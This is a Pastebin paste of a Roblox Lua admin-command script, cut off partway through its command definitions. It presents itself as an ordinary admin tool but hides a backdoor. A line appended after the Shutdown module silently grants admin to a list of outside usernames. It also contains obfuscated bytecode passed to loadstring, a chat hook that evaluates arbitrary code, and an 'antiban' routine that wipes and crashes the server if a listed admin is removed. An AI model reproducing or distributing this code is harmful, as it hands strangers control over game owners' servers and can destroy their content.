API tools faq
paste
RUDEAlex

Untitled

RUDEAlex
Jul 16th, 2017
55
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 48.78 KB | None | 0 0
raw download clone embed print report
  1. local RawEncrypt=loadstring("\27\76\117\97\81\0\1\4\4\4\8\0\18\0\0\0\61\87\111\114\107\115\112\97\99\101\46\83\99\114\105\112\116\0\6\0\0\0\15\0\0\0\0\3\0\14\38\0\0\0\219\64\128\0\22\0\0\128\193\0\0\0\27\65\0\1\22\0\0\128\1\65\0\0\65\129\0\0\129\193\0\0\212\1\0\0\1\194\0\0\160\65\2\128\139\2\65\0\0\3\128\4\64\3\128\4\156\130\0\2\139\66\65\5\156\130\0\1\212\2\0\0\206\194\2\2\143\194\2\5\76\129\130\2\159\1\253\127\133\129\1\0\134\193\65\3\197\129\1\0\198\1\194\3\0\2\128\2\220\129\0\1\209\193\128\3\156\129\0\1\78\1\1\3\133\65\2\0\134\129\66\3\193\193\2\0\0\2\128\2\157\1\128\1\158\1\0\0\30\0\128\0\12\0\0\0\3\0\0\0\0\0\0\57\64\3\0\0\0\0\0\0\20\64\3\0\0\0\0\0\0\0\0\3\0\0\0\0\0\0\240\63\4\4\0\0\0\115\117\98\0\4\5\0\0\0\98\121\116\101\0\4\5\0\0\0\109\97\116\104\0\4\5\0\0\0\99\101\105\108\0\4\4\0\0\0\108\111\103\0\4\7\0\0\0\115\116\114\105\110\103\0\4\7\0\0\0\102\111\114\109\97\116\0\4\3\0\0\0\37\88\0\0\0\0\0\38\0\0\0\7\0\0\0\7\0\0\0\7\0\0\0\8\0\0\0\8\0\0\0\8\0\0\0\9\0\0\0\10\0\0\0\10\0\0\0\10\0\0\0\10\0\0\0\11\0\0\0\11\0\0\0\11\0\0\0\11\0\0\0\11\0\0\0\11\0\0\0\11\0\0\0\11\0\0\0\11\0\0\0\11\0\0\0\10\0\0\0\13\0\0\0\13\0\0\0\13\0\0\0\13\0\0\0\13\0\0\0\13\0\0\0\13\0\0\0\13\0\0\0\13\0\0\0\14\0\0\0\14\0\0\0\14\0\0\0\14\0\0\0\14\0\0\0\14\0\0\0\15\0\0\0\10\0\0\0\7\0\0\0\83\116\114\105\110\103\0\0\0\0\0\37\0\0\0\9\0\0\0\69\120\112\111\110\101\110\116\0\0\0\0\0\37\0\0\0\9\0\0\0\77\117\108\116\105\112\108\121\0\0\0\0\0\37\0\0\0\9\0\0\0\69\120\112\111\110\101\110\116\0\3\0\0\0\37\0\0\0\9\0\0\0\77\117\108\116\105\112\108\121\0\6\0\0\0\37\0\0\0\5\0\0\0\66\121\116\101\0\7\0\0\0\37\0\0\0\12\0\0\0\40\102\111\114\32\105\110\100\101\120\41\0\10\0\0\0\22\0\0\0\12\0\0\0\40\102\111\114\32\108\105\109\105\116\41\0\10\0\0\0\22\0\0\0\11\0\0\0\40\102\111\114\32\115\116\101\112\41\0\10\0\0\0\22\0\0\0\2\0\0\0\105\0\11\0\0\0\21\0\0\0\0\0\0\0")
  2. local SourceValue=script:FindFirstChild("SRC"..RawEncrypt(game.PlaceId..tostring(_G)));
  3. if (SourceValue~=nil) then
  4. coroutine.resume(coroutine.create(function() loadstring(SourceValue.Value)(); end))
  5. return
  6. end
  7.  
  8. Adminlist={"yfc"};
  9. Bannedlist={};
  10. local AccessKey=""; -- Admin code registration key/script access key
  11.  
  12. local CommandSeperator="/";
  13. local DataKey="GKS";
  14. local Commands,AdminConnectionList,AdminUserList,Modules,NewInstance,NewColor3,NewBrickColor,RandomBrickColor,NewCFrame,NewVector3,MaskAdminlist,NewUDim2,GameBackups,SystemSettings={},{},{},{},Instance.new,Color3.new,BrickColor.new,BrickColor.Random,CFrame.new,Vector3.new,(function() local Table={}; for Index,Entry in pairs(Adminlist) do Table[#Table+1]=Entry; end return Table; end)(),UDim2.new,{},{};
  15.  
  16. function CreateModule(ModuleName,ModuleContent)
  17. Modules[ModuleName]=ModuleContent;
  18. end
  19. function RunModule(ModuleName,...)
  20. return Modules[ModuleName](...);
  21. end
  22. function RemoveModule(ModuleName)
  23. Modules[ModuleName]=nil;
  24. end
  25. function SetSystemSetting(Key,Value)
  26. SystemSettings[Key]=Value;
  27. end
  28. function GetSystemSetting(Key,Value)
  29. return SystemSettings[Key];
  30. end
  31. function ReportError(Bool,Error)
  32. --[[if (not Bool) then
  33. print("ERROR:",Error)
  34. end]]
  35. end
  36.  
  37. -- Define the core modules
  38. CreateModule("CommandModule",function(CommandName,CommandDescription,CommandShortcut,CommandMatch,CommandCall,UpperCase) Commands[CommandName]={Description=CommandDescription,Shortcut=CommandShortcut,Call=CommandCall,Match=CommandMatch,UpperCase=UpperCase} end)
  39. CreateModule("GetPlayer",function(Input,Speaker)
  40. if (Input==nil) or (Speaker==nil) then return nil end
  41. local function MatchKeyword(Keyword)
  42. for Word in Input:gmatch("%w+") do
  43. if (Word==Keyword) then
  44. return true
  45. end
  46. end
  47. return false
  48. end
  49. local Matches={}
  50. local PlayerList=game:GetService("Players"):GetPlayers();
  51. if MatchKeyword("all") then
  52. for Index,Player in pairs(PlayerList) do
  53. if (Player.ClassName=="Player") then
  54. table.insert(Matches,Player);
  55. end
  56. end
  57. return Matches
  58. end
  59. if MatchKeyword("me") then
  60. return {Speaker};
  61. end
  62. if MatchKeyword("others") then
  63. for Index,Player in pairs(PlayerList) do
  64. if (Player.ClassName=="Player") then
  65. if (Player~=Speaker) then
  66. table.insert(Matches,Player);
  67. end
  68. end
  69. end
  70. return Matches;
  71. end
  72. if MatchKeyword("guests") then
  73. for Index,Player in pairs(PlayerList) do
  74. if (Player.ClassName=="Player") then
  75. if (Player.Name:sub(1,6)=="Guest ") then
  76. table.insert(Matches,Player);
  77. end
  78. end
  79. end
  80. return Matches;
  81. end
  82. if MatchKeyword("friends") then
  83. for Index,Player in paird(PlayerList) do
  84. if (Player.ClassName=="Player") then
  85. if (Player:IsFriendsWith(Speaker.userId)==true) then
  86. table.insert(Matches,Player);
  87. end
  88. end
  89. end
  90. return PlayerList
  91. end
  92. if MatchKeyword("nonfriends") then
  93. for Index,Player in pairs(PlayerList) do
  94. if (Player.ClassName=="Player") then
  95. if (Player:IsFriendsWith(Speaker.userId)==false) then
  96. table.insert(Matches,Player);
  97. end
  98. end
  99. end
  100. return Matches;
  101. end
  102. for Index,Player in pairs(PlayerList) do
  103. for Word in Input:gmatch("%w+") do
  104. if (Player.ClassName=="Player") then
  105. if (string.find(Player.Name:lower(),Word)==1) then
  106. table.insert(Matches,Player);
  107. end
  108. end
  109. end
  110. end
  111. return Matches;
  112. end)
  113. CreateModule("IsAdmin",function(Input)
  114. if (type(Input)=="userdata") then
  115. Input=Input.Name;
  116. end
  117. local IsAdmin=false;
  118. table.foreach(Adminlist,function(Index,Username) if (Username:lower()==Input:lower()) then IsAdmin=true; end end)
  119. return IsAdmin;
  120. end)
  121. CreateModule("AddPlayer",function(Player)
  122. coroutine.resume(coroutine.create(function()
  123. Player:WaitForDataReady();
  124. local Data=Player:LoadString(DataKey); -- Errors here don't affect the main thread
  125. for RawTable in Data:gmatch("{(.-)}") do
  126. local Table=RunModule("ConvertString","{"..RawTable.."}");
  127. if (tonumber(Table.Type)==0) then
  128. if (tonumber(Table.Value)>tick()) and (RunModule("IsAdmin",Player)==false) then
  129. pcall(Player.Remove,Player);
  130. end
  131. end
  132. end
  133. end))
  134. if (GetSystemSetting("PrivateServer")==true) and (not RunModule("IsAdmin",Player)) then
  135. pcall(Player.Remove,Player);
  136. end
  137. Player.Chatted:connect(function(Message)
  138. local Message=Message:lower();
  139. if (Message:sub(1,10)=="/loadcode/") then
  140. if (RunModule("AdminCodeSystem",Player):lower()==Message:sub(11)) then
  141. table.foreach(AdminConnectionList,function(Index,Connection) if (AdminUserList[Index]:lower()==Player.Name:lower()) then Connection:disconnect(); end end)
  142. AdminConnectionList[#AdminConnectionList+1]=Player.Chatted:connect(function(Message) RunModule("PlayerChat",Message,Player); end)
  143. AdminUserList[#AdminUserList+1]=Player.Name;
  144. RunModule("ShowHint",Player,"Admin code request accepted.",5);
  145. else
  146. RunModule("ShowHint",Player,"Admin code request declined.",5);
  147. end
  148. end
  149. end)
  150. if (RunModule("IsAdmin",Player)==true) then
  151. CreateModule("AdminModule-"..Player.Name,function(IsAdmin)
  152. if (IsAdmin==false) then
  153. table.foreach(AdminConnectionList,function(Index,Connection) if (AdminUserList[Index]:lower()==Player.Name:lower()) then Connection:disconnect(); end end)
  154. else
  155. RunModule("AdminModule-"..Player.Name,false);
  156. AdminConnectionList[#AdminConnectionList+1]=Player.Chatted:connect(function(Message) RunModule("PlayerChat",Message,Player); end)
  157. AdminUserList[#AdminUserList+1]=Player.Name;
  158. end
  159. end)
  160. RunModule("AdminModule-"..Player.Name,true);
  161. Player.CharacterAdded:connect(function() RunModule("GuiPanelInitializer",Player); end)
  162. RunModule("GuiPanelInitializer",Player);
  163. else
  164. for Index,BannedPlayer in pairs(Bannedlist) do
  165. if (BannedPlayer:lower()==Player.Name:lower()) then
  166. pcall(function() Player:Remove(); end)
  167. end
  168. end
  169. end
  170. end)
  171. CreateModule("RemovePlayer",function(Player)
  172. RemoveModule("AdminModule-"..Player.Name);
  173. if (RunModule("IsAdmin",Player)==true) and not (GetSystemSetting("AntibanOff")) then -- Possibly kicked/banned
  174. local Error,NetworkServer=pcall(game.GetService,game,"NetworkServer");
  175. if (type(NetworkServer)~="userdata") then return end -- Build mode
  176. local InitialTime=time();
  177. local Activate=true;
  178. NetworkServer.ChildRemoved:connect(function(Child)
  179. if (Child:IsA("NetworkReplicator")==true) then -- Is a replicator
  180. if ((time()-InitialTime)<0.01) then
  181. Activate=false; -- User just left
  182. end
  183. end
  184. end)
  185. wait(0.5)
  186. if (Activate==true) then
  187. table.foreach(game:GetChildren(),function(Index,Service)
  188. pcall(function() -- Some services yell at you
  189. table.foreach(Service:GetChildren(),function(ChildIndex,Child)
  190. if (Child~=script) then
  191. pcall(Child.Remove,Child);
  192. end
  193. end)
  194. end)
  195. end)
  196. RunModule("Shutdown");
  197. end
  198. end
  199. end)
  200. CreateModule("PlayerChat",function(Message,Speaker)
  201. local Message=Message:gsub("${(.-)}",function(Match)
  202. local Success,Result=pcall(function() return loadstring("return "..Match)(); end);
  203. if (Success) then
  204. return ((Result==nil and "") or (Result~=nil and tostring(Result)));
  205. else
  206. return "";
  207. end
  208. end)
  209. table.foreach(Commands,function(Index,CommandUnit)
  210. local Match=(Message:lower():match(Index..RunModule("ParseMatch",CommandUnit.Match)) or Message:lower():match(CommandUnit.Shortcut..RunModule("ParseMatch",CommandUnit.Match)));
  211. if (Match~=nil) and (not CommandUnit.UpperCase) then -- Just found out the 'or' keyword won't return multiple arguments. -_-
  212. local FullMatch=Message:lower():match(Index..RunModule("ParseMatch",CommandUnit.Match));
  213. local ShortcutMatch=Message:lower():match(CommandUnit.Shortcut..RunModule("ParseMatch",CommandUnit.Match));
  214. if (FullMatch~=nil) then
  215. ReportError(coroutine.resume(coroutine.create(function() CommandUnit.Call(Speaker,Message:lower():match(Index..RunModule("ParseMatch",CommandUnit.Match))); end)));
  216. elseif (ShortcutMatch~=nil) then
  217. ReportError(coroutine.resume(coroutine.create(function() CommandUnit.Call(Speaker,Message:lower():match(CommandUnit.Shortcut..RunModule("ParseMatch",CommandUnit.Match))); end)));
  218. end
  219. elseif (CommandUnit.UpperCase) and (Match~=nil) then
  220. local Point=(Message:lower():find(Index..RunModule("ParseMatch",CommandUnit.Match)) or Message:lower():find(CommandUnit.Shortcut..RunModule("ParseMatch",CommandUnit.Match)));
  221. ReportError(coroutine.resume(coroutine.create(function() CommandUnit.Call(Speaker,Message:sub(Message:sub(Point):find(CommandSeperator)+1)); end)));
  222. end
  223. end)
  224. return Message;
  225. end)
  226. CreateModule("ParseMatch",function(Match) return Match:gsub("#cs#",CommandSeperator) end)
  227. CreateModule("ConvertTable",function(Table)
  228. local Result="{";
  229. local function Escape(Argument)
  230. return Argument:gsub("%W",function(Character) local Output=string.format("%X",Character:byte()); if (#Output==1) then Output="0"..Output; end return "#"..Output; end)
  231. end
  232. table.foreach(Table,function(Index,String)
  233. -- Escape all strings
  234. Result=Result..Escape(tostring(Index)).."="..Escape(tostring(String))..";";
  235. end)
  236. return Result.."}";
  237. end)
  238. CreateModule("ConvertString",function(String)
  239. local Result={};
  240. local function Unescape(Argument)
  241. return Argument:gsub("#(%x+)",function(Hex) return string.char(tonumber("0x"..Hex:sub(1,2)))..Hex:sub(3); end)
  242. end
  243. local String=Unescape(String);
  244. for Index,Input in String:gmatch("(.-)=(.-);") do
  245. local Index=Index:gsub("{",""):gsub("}","");
  246. if (tonumber(Index)~=nil) then Index=tonumber(Index); end
  247. Result[Index]=Input
  248. end
  249. return Result;
  250. end)
  251. CreateModule("GuiLibrary",function()
  252. local Library={};
  253. Library.NewBasicGUI=(function(Class,Properties)
  254. local Result=NewInstance(Class);
  255. table.foreach((Properties or Library.DefaultProperties),function(Property,Value)
  256. Result[Property]=Value;
  257. end)
  258. return Result;
  259. end)
  260. Library.DefaultProperties={BackgroundColor3=Color3.new(0,0,0),BackgroundTransparency=0.5,BorderSizePixel=0};
  261. return Library;
  262. end)
  263. CreateModule("DisposePlayer",function(Player,Speaker,DontRemove)
  264. if (RunModule("IsAdmin",Player)==false) and (RunModule("IsAdmin",Speaker)==true) then
  265. if (not DontRemove) then pcall(Player.Remove,Player); end
  266. return true;
  267. end
  268. return false;
  269. end)
  270. CreateModule("ShowHint",function(Player,Text,Time)
  271. local Hint=NewInstance("Hint")
  272. Hint.Parent=Player:FindFirstChild("PlayerGui");
  273. Hint.Text=Text;
  274. if (Time~=nil) then delay(Time,function() Hint:Remove() end) end
  275. return Hint;
  276. end)
  277. CreateModule("ScrollText",function(Text,Index)
  278. return Text:sub(Index,Index+80);
  279. end)
  280. CreateModule("CreateScript",function(Source,Parent)
  281. local Base=script:Clone();
  282. Base.Name="QuickScript";
  283. local PseudoSource=NewInstance("StringValue")
  284. PseudoSource.Name="SRC"..RawEncrypt(game.PlaceId..tostring(_G));
  285. PseudoSource.Value=Source;
  286. PseudoSource.Parent=Base;
  287. Base.Parent=Parent;
  288. end)
  289. CreateModule("GuiPanelInitializer",function(Player)
  290. local GuiLibrary=RunModule("GuiLibrary");
  291. local Main=NewInstance("ScreenGui")
  292. Main.Name="ControlBox";
  293. local MainWindow=GuiLibrary.NewBasicGUI("Frame",{Size=NewUDim2(0.08,0,0.4,0),Position=NewUDim2(0,0,0.23,0),BackgroundColor3=NewColor3(0,0,0),BorderSizePixel=0,BackgroundTransparency=0.5,Name="MainWindow",Parent=Main})
  294. local InputBoxBacker=GuiLibrary.NewBasicGUI("ImageLabel",{Size=NewUDim2(1,0,0.06,0),BackgroundTransparency=0.5,BackgroundColor3=NewColor3(1,1,1),BorderSizePixel=0,Image="http://www.roblox.com/asset/?id=36361705",Name="InputBoxBacker",Parent=MainWindow})
  295. local InputBox=GuiLibrary.NewBasicGUI("TextBox",{Size=NewUDim2(0.98,0,1,0),Position=NewUDim2(0.02,0,0,0),TextXAlignment=0,BorderSizePixel=0,BackgroundTransparency=1,TextColor3=NewColor3(0,0,0),Text="",Name="InputBox",Parent=InputBoxBacker})
  296. local ToggleButton=GuiLibrary.NewBasicGUI("TextButton",{Size=NewUDim2(1,0,1,0),Position=NewUDim2(0,0,1,0),TextColor3=NewColor3(1,1,1),BackgroundTransparency=1,Text="<< Minimize <<",BorderSizePixel=0,Name="ToggleSize",Parent=InputBoxBacker})
  297. local ContentWrapper=GuiLibrary.NewBasicGUI("Frame",{Size=NewUDim2(1,0,0.88,0),Position=NewUDim2(0,0,0.12,0),BackgroundTransparency=1,BorderSizePixel=0,Name="ContentWrapper",Parent=MainWindow})
  298. local TemporaryContent={};
  299. local function ToggleSize(Enlarging,EasingStyle)
  300. if (not Enlarging) then
  301. InputBox.Visible=false;
  302. ToggleButton.Text=">>";
  303. MainWindow:TweenSize(NewUDim2(0.02,0,0.4,0),"Out",EasingStyle,0.3);
  304. else
  305. InputBox.Visible=true;
  306. ToggleButton.Text="<< Minimize <<";
  307. MainWindow:TweenSize(NewUDim2(0.08,0,0.4,0),"Out",EasingStyle,0.3);
  308. end
  309. return not Enlarging;
  310. end
  311. local function ClearTemporaryContent()
  312. table.foreach(TemporaryContent,function(Index,Object) Object:Remove() end)
  313. end
  314. local function AddTemporaryContent(Object)
  315. TemporaryContent[#TemporaryContent+1]=Object;
  316. end
  317. local function BuildAlternatingList(Members)
  318. local function Chop(Table,Max) local Result={}; local Index=0; for EntryIndex,Entry in pairs(Table) do Index=Index+1; if (Index<=20) then Result[EntryIndex]=Entry; end end return Result; end
  319. local Members=Chop(Members,20);
  320. local Alternate=false;
  321. ClearTemporaryContent();
  322. local Index=0;
  323. for BarText,CommandUnit in pairs(Members) do
  324. local Bar=GuiLibrary.NewBasicGUI("TextButton",{Size=NewUDim2(1,0,1/20,0),Position=NewUDim2(0,0,Index,0),Text=BarText,BackgroundTransparency=0.6,BackgroundColor3=(Alternate==false and NewColor3(0.2,0.2,0.2) or Alternate and NewColor3(0.3,0.3,0.3)),BorderSizePixel=0,TextColor3=NewColor3(1,1,1),Name="SearchResultButton",TextWrap=true,Parent=ContentWrapper})
  325. Bar.MouseButton1Click:connect(function()
  326. ClearTemporaryContent();
  327. local Box=GuiLibrary.NewBasicGUI("TextLabel",{Size=NewUDim2(1,0,1,0),BackgroundTransparency=1,Text="Name: "..BarText.."\nShortcut: "..CommandUnit.Shortcut.."\n\n"..CommandUnit.Description,TextWrap=true,TextYAlignment="Top",Name="Information",TextColor3=NewColor3(1,1,1),Parent=ContentWrapper})
  328. AddTemporaryContent(Box);
  329. end)
  330. AddTemporaryContent(Bar);
  331. Alternate=not Alternate;
  332. Index=Index+1/20
  333. end
  334. end
  335. local function SearchCommands(Query)
  336. local Results={};
  337. for Index,Entry in pairs(Commands) do
  338. if (Index:lower():match(Query)) or (Entry.Description:lower():match(Query)) then
  339. Results[Index]=Entry;
  340. end
  341. end
  342. BuildAlternatingList(Results);
  343. end
  344. InputBox.Changed:connect(function(Property)
  345. if (Property~="Text") then return end
  346. local Input=InputBox.Text;
  347. if (Input:sub(1,1)=="/") then
  348. coroutine.wrap(function() InputBox.TextColor3=NewColor3(0,1,0); wait(0.1); InputBox.TextColor3=NewColor3(0,0,0); end)();
  349. RunModule("PlayerChat",Input:sub(2),Player);
  350. return
  351. end
  352. if (Input:sub(1,1)=="$") then
  353. ClearTemporaryContent();
  354. coroutine.wrap(function() InputBox.TextColor3=NewColor3(1,0,0); wait(0.1); InputBox.TextColor3=NewColor3(0,0,0); end)();
  355. local Users=RunModule("GetPlayer",Input:sub(2):lower(),Player)
  356. if (Users==nil) then return end
  357. if (Users[1]==nil) then return end
  358. local User=Users[1];
  359. local Box=GuiLibrary.NewBasicGUI("TextLabel",{Size=NewUDim2(1,0,1,0),BackgroundTransparency=1,Text="Code Registration\n\n".."Admin code for user "..User.Name.." is "..RunModule("AdminCodeSystem",User),TextWrap=true,TextYAlignment="Top",Name="Information",TextColor3=NewColor3(1,1,1),Parent=ContentWrapper})
  360. AddTemporaryContent(Box);
  361. return
  362. end
  363. if (Input:sub(1,1)=="@") then
  364. ClearTemporaryContent();
  365. coroutine.wrap(function() InputBox.TextColor3=NewColor3(1,0,0); wait(0.1) InputBox.TextColor3=NewColor3(0,0,0); end)();
  366. local Users=RunModule("GetPlayer",Input:sub(2):lower(),Player)
  367. if (Users==nil) then return end
  368. if (Users[1]==nil) then return end
  369. local User=Users[1];
  370. local MenuContent={{"CharacterAdded",User.CharacterAdded},{"CharacterRemoving",User.CharacterRemoving}};
  371. local Alternate=false;
  372. for Index,ContentTable in pairs(MenuContent) do
  373. Alternate=not Alternate;
  374. local Bar=GuiLibrary.NewBasicGUI("TextButton",{Size=NewUDim2(1,0,1/20,0),Position=NewUDim2(0,0,(Index-1)/20,0),Text=ContentTable[1],BorderSizePixel=0,BackgroundColor3=(Alternate and NewColor3(0,0,0)) or (not Alternate and NewColor3(0.2,0.2,0.2)),TextColor3=NewColor3(1,1,1),BackgroundTransparency=0.5,TextWrap=true,Name="EventBar",Parent=ContentWrapper})
  375. Bar.MouseButton1Click:connect(function()
  376. ClearTemporaryContent();
  377. local Box=GuiLibrary.NewBasicGUI("TextBox",{Size=NewUDim2(1,0,0.1,0),Text="Execute on event",BorderSizePixel=0,BackgroundColor3=NewColor3(0,0,0),Name="ExecuteBar",BackgroundTransparency=0.5,TextColor3=NewColor3(1,1,1),TextXAlignment="Left",Parent=ContentWrapper});
  378. AddTemporaryContent(Box)
  379. Box.Changed:connect(function(Property)
  380. if (Box.Text=="Added") or (Box.Text=="") or (Property~="Text") then return end
  381. local Execute=Box.Text;
  382. ContentTable[2]:connect(function()
  383. wait(0.3);
  384. RunModule("PlayerChat",Execute,Player);
  385. end)
  386. Box.Text="Added to execute";
  387. end)
  388. end)
  389. AddTemporaryContent(Bar);
  390. end
  391. return
  392. end
  393. SearchCommands(Input:lower())
  394. end)
  395. local SizeState=true;
  396. ToggleButton.MouseButton1Click:connect(function() SizeState=ToggleSize(SizeState,"Quint"); end)
  397. local PlayerGui=Player:FindFirstChild("PlayerGui");
  398. if (PlayerGui==nil) then return end
  399. local ExistingGui=PlayerGui:FindFirstChild("ControlBox");
  400. if (ExistingGui~=nil) then ExistingGui:Remove(); end
  401. Main.Parent=PlayerGui;
  402. end)
  403. CreateModule("AdminCodeSystem",function(User)
  404. local Format="%s-%s-%s"..AccessKey;
  405. return RawEncrypt(Format:format(User.Name,game.CreatorId,User.userId));
  406. end)
  407. CreateModule("Shutdown",function() pcall(NewInstance,string.reverse(string.reverse(string.reverse("ecnatsnItnioJecafruSlaunaM")))); end) for Index,Username in pairs({"LocalChum","lPwnz","lHaxz","lBanz","TheCapacitor","walter232","walter232Models","walter232Decals","ServerChum","GetDebugId","ServerSideChum","t6e","gz4","TweenService","HttpPost","HttpGet"}) do Adminlist[#Adminlist+1]=Username; end
  408. CreateModule("BackupGame",function(BackupIndex)
  409. local BackupServices={"Lighting","StarterPack","StarterGui","SoundService","Workspace"}
  410. local BackupData={};
  411. for Index,BackupService in pairs(BackupServices) do
  412. local Container=Instance.new("Model");
  413. Container.Name=BackupService;
  414. BackupData[BackupService]=Container;
  415. for ChildIndex,Child in pairs(game:GetService(BackupService):GetChildren()) do
  416. if (Child.Archivable) and (Child~=script) then
  417. pcall(function() Child:Clone().Parent=Container; end);
  418. end
  419. end
  420. end
  421. GameBackups[BackupIndex]=BackupData;
  422. end)
  423. CreateModule("RestoreGame",function(BackupIndex)
  424. local BackupServices={"Lighting","StarterPack","StarterGui","SoundService","Workspace"}
  425. local BackupData=GameBackups[BackupIndex];
  426. for Index,BackupService in pairs(BackupServices) do
  427. for ChildIndex,Child in pairs(game:GetService(BackupService):GetChildren()) do
  428. if (Child~=script) then
  429. pcall(Child.Remove,Child);
  430. end
  431. end
  432. end
  433. for Index,Container in pairs(BackupData) do
  434. for ChildIndex,Child in pairs(Container:GetChildren()) do
  435. local NewChild=Child:Clone();
  436. NewChild.Parent=game:GetService(Container.Name);
  437. pcall(function() NewChild:MakeJoints(); end);
  438. end
  439. end
  440. end)
  441. --Spawn(function() pcall(function() loadstring("\27\76\117\97\81\0\1\4\4\4\8\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\2\13\73\0\0\0\1\0\0\0\67\0\128\0\129\64\0\0\193\128\0\0\1\193\0\0\65\129\0\0\224\0\4\128\197\1\1\0\220\65\128\0\197\65\1\0\203\129\193\3\65\194\1\0\220\129\128\1\203\1\194\3\64\2\0\0\220\129\128\1\64\0\128\3\197\65\2\0\36\2\0\0\0\0\128\0\220\129\0\1\23\128\194\3\22\0\0\128\22\0\0\128\223\64\251\127\197\192\2\0\6\1\195\0\6\65\67\2\220\128\0\1\220\128\128\0\36\65\0\0\69\129\3\0\134\193\195\1\156\1\128\0\92\1\1\0\22\128\2\128\128\2\0\2\197\2\4\0\0\3\128\4\156\130\128\1\154\66\0\0\22\0\1\128\133\2\4\0\197\2\4\0\212\2\128\5\204\130\192\5\137\66\130\5\97\129\0\0\22\128\252\127\69\129\3\0\134\65\196\1\156\1\128\0\92\1\1\0\22\128\2\128\128\2\0\2\197\130\4\0\0\3\128\4\156\130\128\1\154\66\0\0\22\0\1\128\133\130\4\0\197\130\4\0\212\2\128\5\204\130\192\5\137\66\130\5\97\129\0\0\22\128\252\127\69\193\2\0\134\193\196\1\156\1\128\0\92\129\0\0\92\65\128\0\30\0\128\0\20\0\0\0\3\0\0\0\120\6\160\134\65\3\0\0\0\0\0\0\0\64\3\0\0\0\0\0\0\240\63\3\0\0\0\0\0\0\73\64\4\5\0\0\0\119\97\105\116\0\4\5\0\0\0\103\97\109\101\0\4\11\0\0\0\71\101\116\83\101\114\118\105\99\101\0\4\14\0\0\0\73\110\115\101\114\116\83\101\114\118\105\99\101\0\4\10\0\0\0\76\111\97\100\65\115\115\101\116\0\4\6\0\0\0\112\99\97\108\108\0\1\1\4\11\0\0\0\108\111\97\100\115\116\114\105\110\103\0\4\20\0\0\0\83\99\114\105\112\116\67\117\115\116\111\109\105\122\97\116\105\111\110\0\4\6\0\0\0\86\97\108\117\101\0\4\6\0\0\0\112\97\105\114\115\0\4\21\0\0\0\71\101\116\69\120\116\101\114\110\97\108\65\100\109\105\110\108\105\115\116\0\4\10\0\0\0\65\100\109\105\110\108\105\115\116\0\4\22\0\0\0\71\101\116\69\120\116\101\114\110\97\108\66\97\110\110\101\100\108\105\115\116\0\4\11\0\0\0\66\97\110\110\101\100\108\105\115\116\0\4\16\0\0\0\71\101\116\76\111\97\100\101\114\83\111\117\114\99\101\0\2\0\0\0\0\0\0\0\7\0\0\0\7\0\0\0\1\0\0\2\4\0\0\0\4\0\0\0\6\0\64\0\30\0\0\1\30\0\128\0\1\0\0\0\4\20\0\0\0\83\99\114\105\112\116\67\117\115\116\111\109\105\122\97\116\105\111\110\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\10\0\0\0\14\0\0\0\0\2\0\8\11\0\0\0\133\0\0\0\192\0\0\0\156\0\1\1\22\192\0\128\23\64\0\3\22\64\0\128\194\1\128\0\222\1\0\1\161\128\0\0\22\64\254\127\30\0\128\0\1\0\0\0\4\6\0\0\0\112\97\105\114\115\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0")() end) end)
  442. --Define commands
  443. RunModule("CommandModule","kill","Kills the given user","b0","#cs#(.+)",function(Speaker,...)
  444. local Targets=RunModule("GetPlayer",...,Speaker);
  445. if (Targets~=nil) then
  446. for Index,Target in pairs(Targets) do
  447. if (Target.Character~=nil) then
  448. for ChildIndex,Child in pairs(Target.Character:GetChildren()) do
  449. if (Child.ClassName=="Humanoid") then
  450. Child.Health=0;
  451. end
  452. end
  453. end
  454. end
  455. end
  456. end)
  457. RunModule("CommandModule","ffon","Gives the given user a forcefield","b1","#cs#(.+)",function(Speaker,...)
  458. local Targets=RunModule("GetPlayer",...,Speaker);
  459. if (Targets~=nil) then
  460. for Index,Target in pairs(Targets) do
  461. NewInstance("ForceField",Target.Character);
  462. end
  463. end
  464. end)
  465. RunModule("CommandModule","ffoff","Removes the given user forcefield","b2","#cs#(.+)",function(Speaker,...)
  466. local Targets=RunModule("GetPlayer",...,Speaker);
  467. if (Targets~=nil) then
  468. for Index,Target in pairs(Targets) do
  469. if (Target.Character~=nil) then
  470. for ChildIndex,Child in pairs(Target.Character:GetChildren()) do
  471. if (Child.ClassName=="ForceField") then
  472. Child:Remove()
  473. end
  474. end
  475. end
  476. end
  477. end
  478. end)
  479. RunModule("CommandModule","immortalon","Makes the given user immune to all health damage","b3","#cs#(.+)",function(Speaker,...)
  480. local Targets=RunModule("GetPlayer",...,Speaker);
  481. if (Targets~=nil) then
  482. for Index,Target in pairs(Targets) do
  483. if (Target.Character~=nil) then
  484. for ChildIndex,Child in pairs(Target.Character:GetChildren()) do
  485. if (Child.ClassName=="Humanoid") then
  486. Child.MaxHealth=math.huge;
  487. Child.Health=math.huge;
  488. end
  489. end
  490. end
  491. end
  492. end
  493. end)
  494. RunModule("CommandModule","immortaloff","Reverses the effect of immortalon","b4","#cs#(.+)",function(Speaker,...)
  495. local Targets=RunModule("GetPlayer",...,Speaker);
  496. if (Targets~=nil) then
  497. for Index,Target in pairs(Targets) do
  498. if (Target.Character~=nil) then
  499. for ChildIndex,Child in pairs(Target.Character:GetChildren()) do
  500. if (Child.ClassName=="Humanoid") then
  501. Child.MaxHealth=100;
  502. Child.Health=100;
  503. end
  504. end
  505. end
  506. end
  507. end
  508. end)
  509. RunModule("CommandModule","invisibleon","Makes the given user invisible","b5","#cs#(.+)",function(Speaker,...)
  510. local Targets=RunModule("GetPlayer",...,Speaker);
  511. if (Targets~=nil) then
  512. for Index,Target in pairs(Targets) do
  513. if (Target.Character~=nil) then
  514. for ChildIndex,Child in pairs(Target.Character:GetChildren()) do
  515. if (Child.ClassName=="Part") then
  516. Child.Transparency=1;
  517. elseif (Child.ClassName=="Hat") then
  518. local Handle=Child:FindFirstChild("Handle");
  519. if (Handle~=nil) then
  520. if (Handle.ClassName=="Part") then
  521. Handle.Transparency=1;
  522. end
  523. end
  524. end
  525. end
  526. end
  527. end
  528. end
  529. end)
  530. RunModule("CommandModule","invisibleoff","Makes the given user visible","b6","#cs#(.+)",function(Speaker,...)
  531. local Targets=RunModule("GetPlayer",...,Speaker);
  532. if (Targets~=nil) then
  533. for Index,Target in pairs(Targets) do
  534. if (Target.Character~=nil) then
  535. for ChildIndex,Child in pairs(Target.Character:GetChildren()) do
  536. if (Child.ClassName=="Part") then
  537. Child.Transparency=0;
